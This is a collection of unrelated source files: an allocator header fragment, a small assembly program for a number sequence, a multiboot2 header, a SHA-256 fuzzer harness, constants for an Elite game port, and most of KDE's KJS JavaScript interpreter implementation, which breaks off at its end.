virtual void * acquire ( size_t amount ) = 0;
/*!
* @param chunk Pointer to the first byte in the chunk.
* @param amount Size of the chunk of memory, in bytes.
*/
virtual void release ( void * start, size_t amount ) = 0;
};
} }
#endif /* _w32_mm_Allocator_hpp__ */
|
; A000933: Genus of complete graph on n nodes.
; 0,0,0,0,1,1,1,2,3,4,5,6,8,10,11,13,16,18,20,23,26,29,32,35,39,43,46,50,55,59,63,68,73,78,83,88,94,100,105,111,118,124,130,137,144,151,158,165,173,181,188,196,205,213,221,230,239,248,257,266,276,286,295,305,316,326,336,347,358,369,380,391,403,415,426,438,451,463,475,488,501,514,527,540,554,568,581,595,610,624,638,653,668,683,698,713,729,745,760,776,793,809,825,842,859,876,893,910,928,946,963,981,1000,1018,1036,1055,1074,1093,1112,1131,1151,1171,1190,1210,1231,1251,1271,1292,1313,1334,1355,1376,1398,1420,1441,1463,1486,1508,1530,1553,1576,1599,1622,1645,1669,1693,1716,1740,1765,1789,1813,1838,1863,1888,1913,1938,1964,1990,2015,2041,2068,2094,2120,2147,2174,2201,2228,2255,2283,2311,2338,2366,2395,2423,2451,2480,2509,2538,2567,2596,2626,2656,2685,2715,2746,2776,2806,2837,2868,2899,2930,2961,2993,3025,3056,3088,3121,3153,3185,3218,3251,3284,3317,3350,3384,3418,3451,3485,3520,3554,3588,3623,3658,3693,3728,3763,3799,3835,3870,3906,3943,3979,4015,4052,4089,4126,4163,4200,4238,4276,4313,4351,4390,4428,4466,4505,4544,4583,4622,4661,4701,4741,4780,4820,4861,4901,4941,4982,5023,5064
sub $0,2
lpb $0
sub $0,1
add $1,$0
lpe
add $1,5
div $1,6
|
section .multiboot_header
multiboot_header_start:
; see multiboot2 specification for meaning
dd 0xe85250d6
dd 0
dd multiboot_header_end - multiboot_header_start
dd -( 0xe85250d6 + 0 + ( multiboot_header_end - multiboot_header_start ) )
; end tag
dw 0
dw 0
dd 8
multiboot_header_end: |
/*
* Copyright (c) 2021, Luke Wilde <lukew@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibCrypto/Hash/SHA2.h>
#include <stddef.h>
#include <stdint.h>
extern "C" int LLVMFuzzerTestOneInput(uint8_t const* data, size_t size)
{
Crypto::Hash::SHA256::hash(data, size);
return 0;
}
|
;Contants
SignMask8Bit equ %01111111
SignMask16Bit equ %0111111111111111
SignOnly8Bit equ $80
SignOnly16Bit equ $8000
Bit7Only equ %10000000
Bit6Only equ %01000000
Bit5Only equ %00100000
Bit4Only equ %00010000
Bit3Only equ %00001000
Bit2Only equ %00000100
Bit1Only equ %00000010
Bit0Only equ %00000001
Bit7Clear equ %01111111
Bit6Clear equ %10111111
Bit5Clear equ %11011111
Bit4Clear equ %11101111
Bit3Clear equ %11110111
Bit2Clear equ %11111011
Bit1Clear equ %11111101
Bit0Clear equ %11111110
ConstPi equ $80
ConstNorm equ 197
;Text Tokens
EliteToken equ $1E ; Token ID for text messsage ---- E L I T E ----
BrabenBellToken equ $0D
AcorToken equ $0C
; Intro Screen
TitleShip equ $8C
RotationUnity equ $60
DBCheckCode equ $DB
MaxVisibility equ $1F
FarInFront equ $C0
; Equipment Flags
EquipmentItemFitted equ $FF
EquipmentItemNotFitted equ 0
; Universe Managment
ShipTotalModelCount equ 44
ShipTypeScoopable equ 4 ; a sub set of junk
ShipTypeJunk equ 3
ShipTypeStation equ 2
ShipTypeMissile equ 1
ShipTypeNormal equ 0
ShipTypeText equ 253
ShipTypeDebug equ 254
ShipTypeEmpty equ 255
; TacticsControl
ShipExplosionDuration equ 75 ; amount of frames an explosion lasts for
ShipIsTrader equ Bit0Only ; Trader flag 80% are peaceful 20% also have Bounty Hunter flag
ShipIsBountyHunter equ Bit1Only ;
ShipIsHostile equ Bit2Only ;
ShipNotHostile equ Bit2Clear ;
ShipIsPirate equ Bit3Only ;
ShipIsDot equ Bit3Only
ShipIsNotDot equ Bit3Clear
ShipIsDotBitNbr equ 3
ShipKilled equ Bit4Only ; Ship has just been marked as killed so initiate cloud of debris
ShipKilledBitNbr equ 4
ShipIsDocking equ Bit4Only ;
ShipIsBystander equ Bit5Only ;
ShipIsVisible equ Bit6Only
ShipIsVisibleBitNbr equ 6
ShipIsCop equ Bit6Only ;
ShipIsScoopDockEsc equ Bit7Only ;
ShipAIEnabled equ Bit7Only ;
ShipAIDisabled equ Bit7Clear
ShipAIEnabledBitNbr equ 7
ShipExploding equ Bit5Only
ShipExplodingBitNbr equ 5
; Main Loop State
StatePlayerDocked equ $FF
StateCompletedLaunch equ $FD
StateInTransition equ $FE
StateHJumping equ $FC
StateHEntering equ $FB
StateCompletedHJump equ $FA
StateNormal equ 0
; Missile Stage flags , $8x = locked to ship id x, $0x = fire at ship id x requested
StageMissileNoTarget equ $FF
StageMissileTargeting equ $FE
; UniverseAIControl
ShipCanAnger equ %00000001
ShipMaxDistance equ 192
HyperSpaceTimers equ $0B0B
MaxNumberOfStars equ 11
ConsoleRefreshInterval equ 5
ShipTypeSize equ 32 ;??????? just a guess for now
ShipSST equ 4 ; its a space station
UniverseBasePage equ 70 ; Base memory bank for universe Item #0
ShipDataBasePage equ 90 ; Needs 2mb upgrade but what the heck
ShipCountMax equ 2 ; For now just 2 ships to debug
LineLimitPerShip equ 70 ; Max lines per ship
FaceLimitPerShip equ 70 ; Same as line limit to simplify some logic
; "NEED TO DEFINE SHIPTYPESIZE TODO"
; Memory page managment (Refers to a memory slot as a place to access data)
ShipDataSlot equ 6 ; this may move into rom swap out space later
UniverseObjectSlot equ 7
KeyForwardsView equ $20
; Game specific equates
MissileDropHeight equ 5 ; how far the missile is ejected on launch in y axis
;...Game Colour Mapping
L2DustColour equ L2ColourGREY_1
L2SunScannerBright equ 252
L2SunScanner equ 180
L2DebrisColour equ L2ColourYELLOW_1
; Ship Data
;;;; .XX21 \ -> &5600 \ Table of pointers to ships' data given to XX0
;;;;00 7F EQUW &7F00 \ type 1 is #MSL Missile data on page off bottom of screen
;;;;00 00 EQUW 0 \ type 2 is #SST Space Station, Coriolis or Dodo.
;;;;00 00 EQUW 0 \ type 3 is #ESC Escape capsule
;;;;00 00 EQUW 0 \ type 4 is #PLT Plate, alloys
;;;;00 00 EQUW 0 \ type 5 is #OIL Cargo cannister
;;;;00 00 EQUW 0 \ type 6 is Boulder
;;;;00 00 EQUW 0 \ type 7 is #AST Asteroid
;;;;00 00 EQUW 0 \ type 8 is #SPL Splinter, rock.
;;;;00 00 EQUW 0 \ type 9 is #SHU Shuttle
;;;;00 00 EQUW 0 \ type 10 is Transporter
;;;;00 00 EQUW 0 \ type 11 is #CYL Cobra Mk III, Boa
;;;;00 00 EQUW 0 \ type 12 is Python
;;;;00 00 EQUW 0 \ type 13 is Last of three traders
;;;;00 00 EQUW 0 \ type 14 is #ANA Anaconda
;;;;00 00 EQUW 0 \ type 15 is #WRM Worm with Anaconda
;;;;00 00 EQUW 0 \ type 16 is #COP Viper
;;;;00 00 EQUW 0 \ type 17 is First pirate
;;;;00 00 EQUW 0 \ type 18 is
;;;;00 00 EQUW 0 \ type 19 is #KRA Krait small pirate
;;;;00 00 EQUW 0 \ type 20 is #ADA Adder
;;;;00 00 EQUW 0 \ type 21 is
;;;;00 00 EQUW 0 \ type 22 is
;;;;00 00 EQUW 0 \ type 23 is
;;;;00 00 EQUW 0 \ type 24 is #CYL2 Last strong pirate
;;;;00 00 EQUW 0 \ type 25 is #ASP Asp Mk II
;;;;00 00 EQUW 0 \ type 26 is #FER Fer de Lance
;;;;00 00 EQUW 0 \ type 27 is
;;;;00 00 EQUW 0 \ type 28 is Last of three bounty hunters
;;;;00 00 EQUW 0 \ type 29 is #THG Thargoid
;;;;00 00 EQUW 0 \ type 30 is #TGL Thargon
;;;;00 00 EQUW 0 \ type 31 is #CON Constrictor
;;;; .E% \ -> &563E \ Hull NEWB bits are escpod, cop, inno, ?, pirate, angry, hunter, trader.
;;;; \ NEWB examples
;;;;\ 21 EQUB &21 \ 0010 0001 9 Shuttle has no escape pod, inno, trader.
;;;;\ 61 EQUB &61 \ 0110 0001 10 Tansporter no escape pod, Cop, inno, trader.
;;;;\ A0 EQUB &A0 \ 1010 0000 11 Cobra has Escape pod, inno, not a trader.
;;;;\ C2 EQUB &C2 \ 1100 0010 16 Viper has Escape pod, Cop, hunter.
;;;;\ 8C EQUB &8C \ 1000 1100 19 Krait pirate has escape pod, is pirate and angry.
|
/*
* This file is part of the KDE libraries
* Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
* Copyright (C) 2001 Peter Kelly (pmk@post.com)
* Copyright (C) 2003 Apple Computer, Inc.
* Copyright (C) 2008, 2009 Maksim Orlovich (maksim@kde.org)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*
*/
#include "interpreter.h"
#include "SavedBuiltins.h"
#include "array_object.h"
#include "bool_object.h"
#include "collector.h"
#include "date_object.h"
#include "debugger.h"
#include "error_object.h"
#include "function_object.h"
#include "internal.h"
#include "math_object.h"
#include "nodes.h"
#include "number_object.h"
#include "object.h"
#include "object_object.h"
#include "operations.h"
#include "regexp_object.h"
#include "string_object.h"
#include "types.h"
#include "value.h"
#include "lexer.h"
#include "json_object.h"
#if USE(BINDINGS)
#include "runtime.h"
#endif
#if defined _WIN32 || defined _WIN64
#undef HAVE_SYS_TIME_H // no setitimer in kdewin32
#endif
#if HAVE_SYS_TIME_H
#include <sys/time.h>
#endif
#include <assert.h>
#include <cstdlib>
#include <math.h>
#include <signal.h>
#include <stdio.h>
#if HAVE_UNISTD_H
#include <unistd.h>
#endif
namespace KJS
{
class TimeoutChecker
{
public:
void startTimeoutCheck(Interpreter *);
void stopTimeoutCheck(Interpreter *);
void pauseTimeoutCheck(Interpreter *);
void resumeTimeoutCheck(Interpreter *);
private:
#if HAVE_SYS_TIME_H
static Interpreter *s_executingInterpreter;
static void alarmHandler(int);
Interpreter *m_oldInterpreter;
itimerval m_oldtv;
itimerval m_pausetv;
void (*m_oldAlarmHandler)(int);
#endif
};
#if HAVE_SYS_TIME_H
Interpreter *TimeoutChecker::s_executingInterpreter = nullptr;
#endif
void TimeoutChecker::startTimeoutCheck(Interpreter *interpreter)
{
if (!interpreter->m_timeoutTime) {
return;
}
interpreter->m_startTimeoutCheckCount++;
#if HAVE_SYS_TIME_H
if (s_executingInterpreter == interpreter) {
return;
}
// Block signals
m_oldAlarmHandler = signal(SIGALRM, SIG_IGN);
m_oldInterpreter = s_executingInterpreter;
s_executingInterpreter = interpreter;
itimerval tv = {
{ time_t(interpreter->m_timeoutTime / 1000),
suseconds_t((interpreter->m_timeoutTime % 1000) * 1000) },
{ time_t(interpreter->m_timeoutTime / 1000),
suseconds_t((interpreter->m_timeoutTime % 1000) * 1000) }
};
setitimer(ITIMER_REAL, &tv, &m_oldtv);
// Unblock signals
signal(SIGALRM, alarmHandler);
#endif
}
void TimeoutChecker::stopTimeoutCheck(Interpreter *interpreter)
{
if (!interpreter->m_timeoutTime) {
return;
}
ASSERT(interpreter->m_startTimeoutCheckCount > 0);
interpreter->m_startTimeoutCheckCount--;
if (interpreter->m_startTimeoutCheckCount != 0) {
return;
}
#if HAVE_SYS_TIME_H
signal(SIGALRM, SIG_IGN);
s_executingInterpreter = m_oldInterpreter;
setitimer(ITIMER_REAL, &m_oldtv, nullptr);
signal(SIGALRM, m_oldAlarmHandler);
#endif
}
#if HAVE_SYS_TIME_H
void TimeoutChecker::alarmHandler(int)
{
s_executingInterpreter->m_timedOut = true;
}
#endif
void TimeoutChecker::pauseTimeoutCheck(Interpreter *interpreter)
{
if (interpreter->m_startTimeoutCheckCount == 0) {
return;
}
#if HAVE_SYS_TIME_H
ASSERT(interpreter == s_executingInterpreter);
void (*currentSignalHandler)(int);
// Block signal
currentSignalHandler = signal(SIGALRM, SIG_IGN);
if (currentSignalHandler != alarmHandler) {
signal(SIGALRM, currentSignalHandler);
return;
}
setitimer(ITIMER_REAL, nullptr, &m_pausetv);
#endif
interpreter->m_pauseTimeoutCheckCount++;
}
void TimeoutChecker::resumeTimeoutCheck(Interpreter *interpreter)
{
if (interpreter->m_startTimeoutCheckCount == 0) {
return;
}
#if HAVE_SYS_TIME_H
ASSERT(interpreter == s_executingInterpreter);
#endif
interpreter->m_pauseTimeoutCheckCount--;
if (interpreter->m_pauseTimeoutCheckCount != 0) {
return;
}
#if HAVE_SYS_TIME_H
void (*currentSignalHandler)(int);
// Check so we have the right handler
currentSignalHandler = signal(SIGALRM, SIG_IGN);
if (currentSignalHandler != SIG_IGN) {
signal(SIGALRM, currentSignalHandler);
return;
}
setitimer(ITIMER_REAL, &m_pausetv, nullptr);
// Unblock signal
currentSignalHandler = signal(SIGALRM, alarmHandler);
#endif
}
Interpreter *Interpreter::s_hook = nullptr;
Interpreter::Interpreter(JSGlobalObject *globalObject)
: m_globalObject(globalObject),
m_globalExec(this, globalObject),
globPkg(nullptr)
{
init();
}
Interpreter::Interpreter()
: m_globalObject(new JSGlobalObject()),
m_globalExec(this, m_globalObject),
globPkg(nullptr)
{
init();
}
void Interpreter::init()
{
JSLock lock;
initInternedStringsTable();
m_refCount = 0;
m_timeoutTime = 0;
m_recursion = 0;
m_debugger = nullptr;
m_execState = nullptr;
m_timedOut = false;
m_timeoutChecker = nullptr;
m_startTimeoutCheckCount = 0;
m_pauseTimeoutCheckCount = 0;
m_compatMode = NativeMode;
const int initialStackSize = 8192;
stackBase = (unsigned char *)std::malloc(initialStackSize);
stackPtr = stackBase;
stackEnd = stackBase + initialStackSize;
m_numCachedActivations = 0;
m_globalObject->setInterpreter(this);
if (s_hook) {
prev = s_hook;
next = s_hook->next;
s_hook->next->prev = this;
s_hook->next = this;
} else {
// This is the first interpreter
s_hook = next = prev = this;
}
initGlobalObject();
}
Interpreter::~Interpreter()
{
JSLock lock;
ASSERT(m_startTimeoutCheckCount == 0);
ASSERT(m_pauseTimeoutCheckCount == 0);
delete m_timeoutChecker;
if (m_debugger) {
m_debugger->detach(this);
}
std::free(stackBase);
next->prev = prev;
prev->next = next;
s_hook = next;
if (s_hook == this) {
// This was the last interpreter
s_hook = nullptr;
}
m_globalObject->setInterpreter(nullptr);
}
unsigned char *Interpreter::extendStack(size_t needed)
{
unsigned char *oldBase = stackBase; // needed for fixing up localStores
size_t curSize = stackEnd - stackBase;
size_t avail = stackEnd - stackPtr;
size_t extra = needed - avail;
if (extra < 8192) {
extra = 8192;
}
size_t newSize = curSize + extra;
//printf("Grow stack:%d -> %d\n", curSize, newSize);
stackBase = (unsigned char *)std::malloc(newSize); // Not realloc since we need the old stuff
// ### seems optimizeable
std::memcpy(stackBase, oldBase, curSize);
stackPtr = stackBase + (stackPtr - oldBase);
stackEnd = stackBase + newSize;
// Now go through and fix up activations..
ExecState *e = m_execState;
while (e) {
if (e->codeType() == FunctionCode) {
ActivationImp *act = static_cast<ActivationImp *>(e->activationObject());
if (act->localStorage) {
act->localStorage = (LocalStorageEntry *)
(stackBase + ((unsigned char *)act->localStorage - oldBase));
e->updateLocalStorage(act->localStorage);
}
}
e = e->savedExecState();
}
std::free(oldBase);
return stackAlloc(needed);
}
void Interpreter::recycleActivation(ActivationImp *act)
{
ASSERT(act->localStorage == nullptr); // Should not refer to anything by now
if (m_numCachedActivations >= MaxCachedActivations) {
return;
}
act->clearProperties();
m_cachedActivations[m_numCachedActivations] = act;
++m_numCachedActivations;
}
JSGlobalObject *Interpreter::globalObject() const
{
return m_globalObject;
}
void Interpreter::putNamedConstructor(const char *name, JSObject *value)
{
assert(value->implementsCall());
Identifier i(name);
m_globalObject->put(&m_globalExec, i, value, DontEnum);
static_cast<InternalFunctionImp *>(value)->setFunctionName(i);
}
void Interpreter::initGlobalObject()
{
FunctionPrototype *funcProto = new FunctionPrototype(&m_globalExec);
m_FunctionPrototype = funcProto;
ObjectPrototype *objProto = new ObjectPrototype(&m_globalExec, funcProto);
m_ObjectPrototype = objProto;
funcProto->setPrototype(m_ObjectPrototype);
ArrayPrototype *arrayProto = new ArrayPrototype(&m_globalExec, objProto);
m_ArrayPrototype = arrayProto;
StringPrototype *stringProto = new StringPrototype(&m_globalExec, objProto);
m_StringPrototype = stringProto;
BooleanPrototype *booleanProto = new BooleanPrototype(&m_globalExec, objProto, funcProto);
m_BooleanPrototype = booleanProto;
NumberPrototype *numberProto = new NumberPrototype(&m_globalExec, objProto, funcProto);
m_NumberPrototype = numberProto;
DatePrototype *dateProto = new DatePrototype(&m_globalExec, objProto);
m_DatePrototype = dateProto;
RegExpPrototype *regexpProto = new RegExpPrototype(&m_globalExec, objProto, funcProto);
m_RegExpPrototype = regexpProto;
ErrorPrototype *errorProto = new ErrorPrototype(&m_globalExec, objProto, funcProto);
m_ErrorPrototype = errorProto;
JSObject *o = m_globalObject;
while (o->prototype()->isObject()) {
o = static_cast<JSObject *>(o->prototype());
}
o->setPrototype(m_ObjectPrototype);
// Constructors (Object, Array, etc.)
m_Object = new ObjectObjectImp(&m_globalExec, objProto, funcProto);
m_Function = new FunctionObjectImp(&m_globalExec, funcProto);
m_Array = new ArrayObjectImp(&m_globalExec, funcProto, arrayProto);
m_String = new StringObjectImp(&m_globalExec, funcProto, stringProto);
m_Boolean = new BooleanObjectImp(&m_globalExec, funcProto, booleanProto);
m_Number = new NumberObjectImp(&m_globalExec, funcProto, numberProto);
m_Date = new DateObjectImp(&m_globalExec, funcProto, dateProto);
m_RegExp = new RegExpObjectImp(&m_globalExec, funcProto, regexpProto);
m_Error = new ErrorObjectImp(&m_globalExec, funcProto, errorProto);
// Error object prototypes
m_EvalErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, EvalError, "EvalError", "EvalError");
m_RangeErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, RangeError, "RangeError", "RangeError");
m_ReferenceErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, ReferenceError, "ReferenceError", "ReferenceError");
m_SyntaxErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, SyntaxError, "SyntaxError", "SyntaxError");
m_TypeErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, TypeError, "TypeError", "TypeError");
m_UriErrorPrototype = new NativeErrorPrototype(&m_globalExec, errorProto, URIError, "URIError", "URIError");
// Error objects
m_EvalError = new NativeErrorImp(&m_globalExec, funcProto, m_EvalErrorPrototype);
m_RangeError = new NativeErrorImp(&m_globalExec, funcProto, m_RangeErrorPrototype);
m_ReferenceError = new NativeErrorImp(&m_globalExec, funcProto, m_ReferenceErrorPrototype);
m_SyntaxError = new NativeErrorImp(&m_globalExec, funcProto, m_SyntaxErrorPrototype);
m_TypeError = new NativeErrorImp(&m_globalExec, funcProto, m_TypeErrorPrototype);
m_UriError = new NativeErrorImp(&m_globalExec, funcProto, m_UriErrorPrototype);
// ECMA 15.3.4.1
funcProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Function, DontEnum);
putNamedConstructor("Object", m_Object);
putNamedConstructor("Function", m_Function);
putNamedConstructor("Array", m_Array);
putNamedConstructor("Boolean", m_Boolean);
putNamedConstructor("String", m_String);
putNamedConstructor("Number", m_Number);
putNamedConstructor("Date", m_Date);
putNamedConstructor("RegExp", m_RegExp);
putNamedConstructor("Error", m_Error);
putNamedConstructor("EvalError", m_EvalError);
putNamedConstructor("RangeError", m_RangeError);
putNamedConstructor("ReferenceError", m_ReferenceError);
putNamedConstructor("SyntaxError", m_SyntaxError);
putNamedConstructor("TypeError", m_TypeError);
putNamedConstructor("URIError", m_UriError);
// Set the constructorPropertyName property of all builtin constructors
objProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Object, DontEnum);
funcProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Function, DontEnum);
arrayProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Array, DontEnum);
booleanProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Boolean, DontEnum);
stringProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_String, DontEnum);
numberProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Number, DontEnum);
dateProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Date, DontEnum);
regexpProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_RegExp, DontEnum);
errorProto->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_Error, DontEnum);
m_EvalErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_EvalError, DontEnum);
m_RangeErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_RangeError, DontEnum);
m_ReferenceErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_ReferenceError, DontEnum);
m_SyntaxErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_SyntaxError, DontEnum);
m_TypeErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_TypeError, DontEnum);
m_UriErrorPrototype->put(&m_globalExec, m_globalExec.propertyNames().constructor, m_UriError, DontEnum);
// built-in values
m_globalObject->put(&m_globalExec, "NaN", jsNaN(), DontEnum | DontDelete | ReadOnly);
m_globalObject->put(&m_globalExec, "Infinity", jsNumber(Inf), DontEnum | DontDelete | ReadOnly);
m_globalObject->put(&m_globalExec, "undefined", jsUndefined(), DontEnum | DontDelete | ReadOnly);
// built-in functions
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::Eval, 1, "eval"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::ParseInt, 2, "parseInt"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::ParseFloat, 1, "parseFloat"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::IsNaN, 1, "isNaN"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::IsFinite, 1, "isFinite"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::Escape, 1, "escape"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::UnEscape, 1, "unescape"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::DecodeURI, 1, "decodeURI"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::DecodeURIComponent, 1, "decodeURIComponent"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::EncodeURI, 1, "encodeURI"), DontEnum);
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::EncodeURIComponent, 1, "encodeURIComponent"), DontEnum);
#ifndef NDEBUG
m_globalObject->putDirectFunction(new GlobalFuncImp(&m_globalExec, funcProto, GlobalFuncImp::KJSPrint, 1, "kjsprint"), DontEnum);
#endif
// built-in objects
m_globalObject->put(&m_globalExec, "Math", new MathObjectImp(&m_globalExec, objProto), DontEnum);
m_globalObject->put(&m_globalExec, "JSON", new JSONObjectImp(&m_globalExec, objProto), DontEnum);
}
ExecState *Interpreter::globalExec()
{
return &m_globalExec;
}
void Interpreter::setGlobalPackage(Package *p)
{
globPkg = p;
}
Package *Interpreter::globalPackage()
{
return globPkg;
}
Completion Interpreter::checkSyntax(const UString &sourceURL, int startingLineNumber, const UString &code)
{
return checkSyntax(sourceURL, startingLineNumber, code.data(), code.size());
}
Completion Interpreter::checkSyntax(const UString &sourceURL, int startingLineNumber, const UChar *code, int codeLength)
{
JSLock lock;
int errLine;
UString errMsg;
RefPtr<ProgramNode> progNode = parser().parseProgram(sourceURL, startingLineNumber, code, codeLength, nullptr, &errLine, &errMsg);
if (!progNode) {
return Completion(Throw, Error::create(&m_globalExec, SyntaxError, errMsg, errLine, 0, sourceURL));
}
return Completion(Normal);
}
Completion Interpreter::evaluate(const UString &sourceURL, int startingLineNumber, const UString &code, JSValue *thisV)
{
return evaluate(sourceURL, startingLineNumber, code.data(), code.size(), thisV);
}
Completion Interpreter::evaluate(const UString &sourceURL, int startingLineNumber, const UChar *code, int codeLength, JSValue *thisV)
{
JSLock lock;
// prevent against infinite recursion
if (m_recursion >= 20) {
return Completion(Throw, Error::create(&m_globalExec, GeneralError, "Recursion too deep"));
}
// parse the source code
int sourceId;
int errLine;
UString errMsg;
RefPtr<ProgramNode> progNode = parser().parseProgram(sourceURL, startingLineNumber, code, codeLength, &sourceId, &errLine, &errMsg);
// notify debugger that source has been parsed
if (m_debugger) {
m_debugger->reportSourceParsed(&m_globalExec, progNode.get(), sourceId, sourceURL,
UString(code, codeLength), startingLineNumber, errLine, errMsg);
}
// no program node means a syntax error occurred
if (!progNode) {
Completion res(Throw, Error::create(&m_globalExec, SyntaxError, errMsg, errLine, sourceId, sourceURL));
if (m_debugger) {
m_debugger->reportException(&m_globalExec, res.value());
}
if (shouldPrintExceptions()) {
printException(res, sourceURL);
}
return res;
}
m_globalExec.clearException();
m_recursion++;
JSGlobalObject *globalObj = m_globalObject;
JSObject *thisObj = globalObj;
// "this" must be an object... use same rules as Function.prototype.apply()
if (thisV && !thisV->isUndefinedOrNull()) {
thisObj = thisV->toObject(&m_globalExec);
}
Completion res;
if (m_globalExec.hadException())
// the thisV->toObject() conversion above might have thrown an exception - if so, propagate it
{
res = Completion(Throw, m_globalExec.exception());
} else {
// execute the code
InterpreterExecState newExec(this, globalObj, thisObj, progNode.get());
if (m_debugger && !m_debugger->enterContext(&newExec, sourceId, startingLineNumber, nullptr, List::empty())) {
// debugger requested we stop execution.
m_debugger->imp()->abort();
return Completion(Break);
}
progNode->processDecls(&newExec);
res = progNode->execute(&newExec);
if (m_debugger && !m_debugger->exitContext(&newExec, sourceId, startingLineNumber, nullptr)) {
// debugger requested we stop execution.
m_debugger->imp()->abort();
return Completion(Break);
}
}
m_recursion--;
if (shouldPrintExceptions() && res.complType() == Throw) {
printException(res, sourceURL);
}
return res;
}
bool Interpreter::normalizeCode(const UString &codeIn, UString *codeOut,
int *errLine, UString *errMsg)
{
assert(codeOut);
RefPtr<ProgramNode> progNode = parser().parseProgram("", // sourceURL
0, // line
codeIn.data(),
codeIn.size(),
nullptr, // &sourceId
errLine, errMsg);
if (progNode) {
*codeOut = progNode->toString();
return true;
} else {
return false;
}
}
JSObject *Interpreter::builtinObject() const
{
return m_Object;
}
JSObject *Interpreter::builtinFunction() const
{
return m_Function;
}
JSObject *Interpreter::builtinArray() const
{
return m_Array;
}
JSObject *Interpreter::builtinBoolean() const
{
return m_Boolean;
}
JSObject *Interpreter::builtinString() const
{
return m_String;
}
JSObject *Interpreter::builtinNumber() const
{
return m_Number;
}
JSObject *Interpreter::builtinDate() const
{
return m_Date;
}
JSObject *Interpreter::builtinRegExp() const
{
return m_RegExp;
}
JSObject *Interpreter::builtinError() const
{
return m_Error;
}
JSObject *Interpreter::builtinObjectPrototype() const
{
return m_ObjectPrototype;
}
JSObject *Interpreter::builtinFunctionPrototype() const
{
return m_FunctionPrototype;
}
JSObject *Interpreter::builtinArrayPrototype() const
{
return m_ArrayPrototype;
}
JSObject *Interpreter::builtinBooleanPrototype() const
{
return m_BooleanPrototype;
}
JSObject *Interpreter::builtinStringPrototype() const
{
return m_StringPrototype;
}
JSObject *Interpreter::builtinNumberPrototype() const
{
return m_NumberPrototype;
}
JSObject *Interpreter::builtinDatePrototype() const
{
return m_DatePrototype;
}
JSObject *Interpreter::builtinRegExpPrototype() const
{
return m_RegExpPrototype;
}
JSObject *Interpreter::builtinErrorPrototype() const
{
return m_ErrorPrototype;
}
JSObject *Interpreter::builtinEvalError() const
{
return m_EvalError;
}
JSObject *Interpreter::builtinRangeError() const
{
return m_RangeError;
}
JSObject *Interpreter::builtinReferenceError() const
{
return m_ReferenceError;
}
JSObject *Interpreter::builtinSyntaxError() const
{
return m_SyntaxError;
}
JSObject *Interpreter::builtinTypeError() const
{
return m_TypeError;
}
JSObject *Interpreter::builtinURIError() const
{
return m_UriError;
}
JSObject *Interpreter::builtinEvalErrorPrototype() const
{
return m_EvalErrorPrototype;
}
JSObject *Interpreter::builtinRangeErrorPrototype() const
{
return m_RangeErrorPrototype;
}
JSObject *Interpreter::builtinReferenceErrorPrototype() const
{
return m_ReferenceErrorPrototype;
}
JSObject *Interpreter::builtinSyntaxErrorPrototype() const
{
return m_SyntaxErrorPrototype;
}
JSObject *Interpreter::builtinTypeErrorPrototype() const
{
return m_TypeErrorPrototype;
}
JSObject *Interpreter::builtinURIErrorPrototype() const
{
return m_UriErrorPrototype;
}
bool Interpreter::collect()
{
return Collector::collect();
}
void Interpreter::mark(bool)
{
if (m_execState) {
m_execState->mark();
}
if (m_globalObject && !m_globalObject->marked()) {
m_globalObject->mark();
}
if (m_globalExec.exception() && !m_globalExec.exception()->marked()) {
m_globalExec.exception()->mark();
}
// Do not let cached activations survive the GC; as they have an unfortunate
// tendenacy to pin blocks, increasing their number and hence spreading out
// the objects somewhat
m_numCachedActivations = 0;
}
void Interpreter::markSourceCachedObjects()
{
markInternedStringsTable();
}
#ifdef KJS_DEBUG_MEM
